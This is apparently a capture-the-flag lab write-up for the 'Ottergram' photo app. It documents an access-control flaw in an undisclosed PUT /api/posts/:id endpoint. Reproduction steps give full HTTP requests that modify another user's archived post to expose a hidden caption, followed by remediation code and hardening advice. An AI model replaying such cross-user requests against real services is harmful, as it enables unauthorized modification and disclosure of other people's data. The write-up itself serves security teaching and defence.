BugForge — 2026.10.27

Ottergram: Cross-User Post Modification via an Undisclosed PUT Endpoint

BugForge Broken Access Control on an Undisclosed Endpoint easy

Executive Summary

Ottergram is an Instagram-style React single-page application backed by a Node/Express JSON API for sharing otter photos. Posts can be archived, which hides them from the application’s read paths. Testing confirmed that the server mounts a post-update handler, PUT /api/posts/:id, that the frontend never calls and that carries no ownership or role check. Any authenticated user can modify any post in the application, and the update response echoes the full post row. Unarchiving another user’s post publishes its withheld caption to every user, which is how the flag was captured.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Broken access control on an undisclosed post-update handler High 7.6 CWE-862, CWE-639 PUT /api/posts/:id

This engagement is a rerun of variant ottergram-015, first seen on 2026-09-07. The application shipped the same frontend build (main.7602c172.js, byte-identical across 14 diffed components) and the same planted defect. The 09-07 engagement was never written up, so this document is the first record of the finding. Closest cousins in this writeup collection are the 2026-04-11 profile-PUT IDOR (different object) and the 2026-09-21 comment-edit IDOR (different route); neither covers the bare /api/posts/:id write path.

Objective

Locate and exploit the planted vulnerability in the Ottergram lab and capture the flag. The platform supplied the hint “Some posts are archived.”

Scope / Initial Access

# Target Application
URL: https://lab-1793129569766-a46bda.labs-app.bugforge.io/

# Auth details
Open registration: POST /api/register {username, email, password}
JWT HS256 Bearer, claims {id, username, iat}; no role or tier claim
Starting privileges: role=user, subscription_tier=free

Role and subscription tier are resolved server-side from the database on every request, so there is no privilege claim in the token to forge. The JWT structure was identical across both sightings of this variant.

Reconnaissance: Diffing Against the Prior Rotation

The frontend bundle and its publicly served source map were pulled and diffed against the prior rotation’s recovered source before any probing.

  1. The bundle main.7602c172.js and its 1.03 MB source map are served at /static/js/main.7602c172.js(.map) (HTTP 200). All 14 sourcemapped components diffed clean against the source tree recovered on 2026-09-07, so that rotation’s endpoint map carried over as a working hypothesis.
  2. Every row in the GET /api/posts response carries an is_archived: 0 field the client never renders or sends. A state flag volunteered by the server at its safe default points at a guarded branch.
  3. The feed returned ids 1 through 16 with no gaps, so if a post is hidden it sits past the end of the visible range, at id 17.
  4. Bare GET /api/posts/:id returns the SPA catchall (HTTP 200, text/html, 641 bytes). The path is write-only as far as the client is concerned, which is why passive browsing never surfaces it. On this target, status codes are useless for route classification; Content-Type is the tell.
  5. Earlier rotations of this lab are known to the operator and shipped different defects on different builds; the 10-05 instance planted an admin API missing a role check on build 49fc4dc1. A later rotation with a new bug does not mean the previous bug was patched; this instance reverted to the 09-07 build with the 09-07 defect intact.

Application Architecture

Component Detail
Backend Node/Express, JSON API under /api
Frontend React SPA, CRA build (main.7602c172.js), source map publicly served
Auth JWT HS256 Bearer {id, username, iat}, stored client-side
Database SQLite-shaped (created_at as YYYY-MM-DD HH:MM:SS, integer is_archived 0/1)
CORS Access-Control-Allow-Origin: *

Known Users

Username ID Role Notes
otter_lover through holt_keeper 1-9 seeded id 2 is admin; id 7 (raft_rider) owns post 17
haxor2 10 user self-registered this engagement

Attack Chain Visualization

┌───────────────────────────┐     ┌───────────────────────────┐     ┌───────────────────────────┐     ┌───────────────────────────┐
│ POST /api/register        │     │ GET /api/posts: 16 rows,  │     │ PUT /api/posts/9999 {}    │     │ PUT /api/posts/17         │
│ returns a JWT for a fresh │ ──▶ │ ids 1..16 contiguous,     │ ──▶ │ 404 JSON "Post not found" │ ──▶ │ {"is_archived":0} as the  │
│ role=user account (id 10) │     │ is_archived on every row  │     │ handler mounted, lookup   │     │ fresh user: 200, full row │
│                           │     │                           │     │ reached, no gate          │     │ echo, flag in caption     │
└───────────────────────────┘     └───────────────────────────┘     └───────────────────────────┘     └───────────────────────────┘

Findings

F1: Broken Access Control on an Undisclosed Post-Update Handler

Severity: High CVSS v3.1: 7.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L) CWE: CWE-862 (Missing Authorization), CWE-639 (Authorization Bypass Through User-Controlled Key) Endpoint: PUT /api/posts/:id Authentication required: Yes (any authenticated user)

Description

The server mounts a post-update handler that the React client never calls. A keyword sweep of the recovered frontend source on 2026-09-07 found no archive or unarchive interface, and this engagement’s diff confirmed the same build ships with none. Three defects compound:

  1. The handler is undisclosed. Nothing in the shipped bundle references bare PUT /api/posts/:id; the client only ever calls /api/posts/:id/like and /api/posts/:id/comments on that path shape.
  2. Authorization is absent. Global authentication middleware fires (401 without a token, 403 with a bad one), but no ownership check and no role check run before or after the row lookup. The route was simply never given a guard.
  3. The fields it writes control visibility. The handler accepts an allowlisted field set {caption, is_archived}. Mass assignment is defended (user_id and image_url are silently ignored), but is_archived is the flag that hides a post from the feed and profile listings, and the success response echoes the full updated row.

The contrast with the rest of the application is what makes this a single-route omission rather than an app-wide absence of authorization: the admin and insider gates are correctly attached elsewhere (7 of 7 privileged routes refused a role=user token with 403 in the prior run’s testing).

Impact

Any registered user can modify or unpublish any post belonging to any user, and a post hidden from the application’s read paths is disclosed in full through the update response. Here that disclosed a withheld caption carrying the flag.

Reproduction

Step 1: Register an ordinary account.

POST /api/register HTTP/1.1
Host: lab-1793129569766-a46bda.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor2","email":"[email protected]","password":"Passw0rd!234"}

Response: 200 with a JWT and {"user":{"id":10,"username":"haxor2","role":"user","subscription_tier":"free"}}. The token carries only {id:10, username:"haxor2", iat}.

Step 2: Enumerate the feed.

GET /api/posts HTTP/1.1
Host: lab-1793129569766-a46bda.labs-app.bugforge.io
Authorization: Bearer <haxor2 JWT, id 10>

Response: 200, a JSON array of 16 posts with ids 1 through 16 and is_archived: 0 on every row. The contiguous ids place any hidden post past the end of the range.

Step 3: Classify the bare post path with a verb sweep on a nonexistent id.

PUT /api/posts/9999 HTTP/1.1
Host: lab-1793129569766-a46bda.labs-app.bugforge.io
Authorization: Bearer <haxor2 JWT, id 10>
Content-Type: application/json

{}

Response: 404, application/json, {"error":"Post not found"}. A real handler answered: the request passed authentication and reached the row lookup with no authorization gate in front of it. For contrast on the same path, GET returned the 641-byte text/html SPA catchall and POST, PATCH, and DELETE returned the Express default 404 text/html, so PUT is the only mounted verb.

Step 4: Control the handler on an owned row before touching lab data. POST /api/posts requires a multipart body with an image file field; a JSON body is rejected with 400 {"error":"Image is required"}.

POST /api/posts HTTP/1.1
Host: lab-1793129569766-a46bda.labs-app.bugforge.io
Authorization: Bearer <haxor2 JWT, id 10>
Content-Type: multipart/form-data; boundary=ctl

--ctl
Content-Disposition: form-data; name="caption"

haxor2 control post zzzctl
--ctl
Content-Disposition: form-data; name="image"; filename="ctl.gif"

<gif bytes>
--ctl--

Response: 200 creating post id 18. PUT /api/posts/18 {"is_archived":1} returned 200 with the full row echo, the post vanished from the feed (16 rows, no id 18), and unarchiving restored it. This proves the handler’s behavior and the feed filtering on an owned row.

Step 5: Unarchive the cross-user post.

PUT /api/posts/17 HTTP/1.1
Host: lab-1793129569766-a46bda.labs-app.bugforge.io
Authorization: Bearer <haxor2 JWT, id 10>
Content-Type: application/json

{"is_archived":0}

Response: 200 with the full updated row:

{"message":"Post updated successfully","post":{"id":17,"user_id":7,"image_url":"/uploads/otter3.png","caption":"Sponsor code (do not repost): bug{REDACTED}","is_archived":0,"created_at":"2026-10-27 19:32:51"}}

Post 17 belongs to user_id 7 and the request authenticated as id 10, so the write is cross-user, attested by the server’s own response. The feed count rose from 16 to 18 rows (post 17 restored plus the control post). The flag is in the caption.

Remediation

Fix 1: Attach an ownership guard to the route.

// BEFORE (Vulnerable)
app.put('/api/posts/:id', authenticateToken, (req, res) => {
  const post = db.get('SELECT * FROM posts WHERE id = ?', req.params.id);
  if (!post) return res.status(404).json({ error: 'Post not found' });
  // no ownership or role check
  ...
});

// AFTER (Secure)
app.put('/api/posts/:id', authenticateToken, requireOwner, (req, res) => {
  const post = db.get('SELECT * FROM posts WHERE id = ?', req.params.id);
  if (!post) return res.status(404).json({ error: 'Post not found' });
  if (post.user_id !== req.user.id && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden' });
  }
  ...
});

Fix 2: Delete the route if no client uses it. Nothing in the shipped frontend calls this handler. Undisclosed endpoints carry the same risk as published ones and receive none of the review.

Fix 3: Apply authorization centrally. A router-level middleware or policy layer prevents a new route from silently shipping without a gate; per-handler attachment is how this omission survived a codebase that authorizes correctly everywhere else.

Additional recommendations:

  • Add a regression test asserting a non-owner receives 403 on this route.
  • Stop serving production source maps (GENERATE_SOURCEMAP=false or block .map at the proxy). The publicly served map is what made the absence of any archive interface provable rather than suspected; it is an accelerant to this finding, not a standalone breach.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: The finding is a missing ownership check on a write endpoint, reachable by any registered user, allowing modification of arbitrary objects and disclosure of withheld content.
  • A05:2021 Security Misconfiguration: The production React source map is publicly served, handing over the full client-side API surface and component source.

Tools Used

Tool Purpose
curl through the Caido intercepting proxy All request/response capture
Source map extraction and component diff Recovered the original React source and diffed 14 components against the 09-07 tree

References

Failed Approaches

Approach Result Why It Failed
GET /api/posts/17 and /api/posts/9999 200, text/html, 641 bytes (SPA catchall) No read route exists on the bare post path; read-side lifecycle drift is dead in this form
POST, PATCH, DELETE on bare /api/posts/:id 404, text/html (Express default) No route mounted; PUT is the only verb on the path
Unauthenticated /api access 401 {"error":"Access token required"} on all routes Global authentication middleware is intact
OPTIONS Allow: sweep Not re-run Dead oracle on this platform (no Allow: header on any path, three prior recurrences); Content-Type classification used instead
#broken-access-control #idor #missing-authorization #hidden-endpoint #jwt #bugforge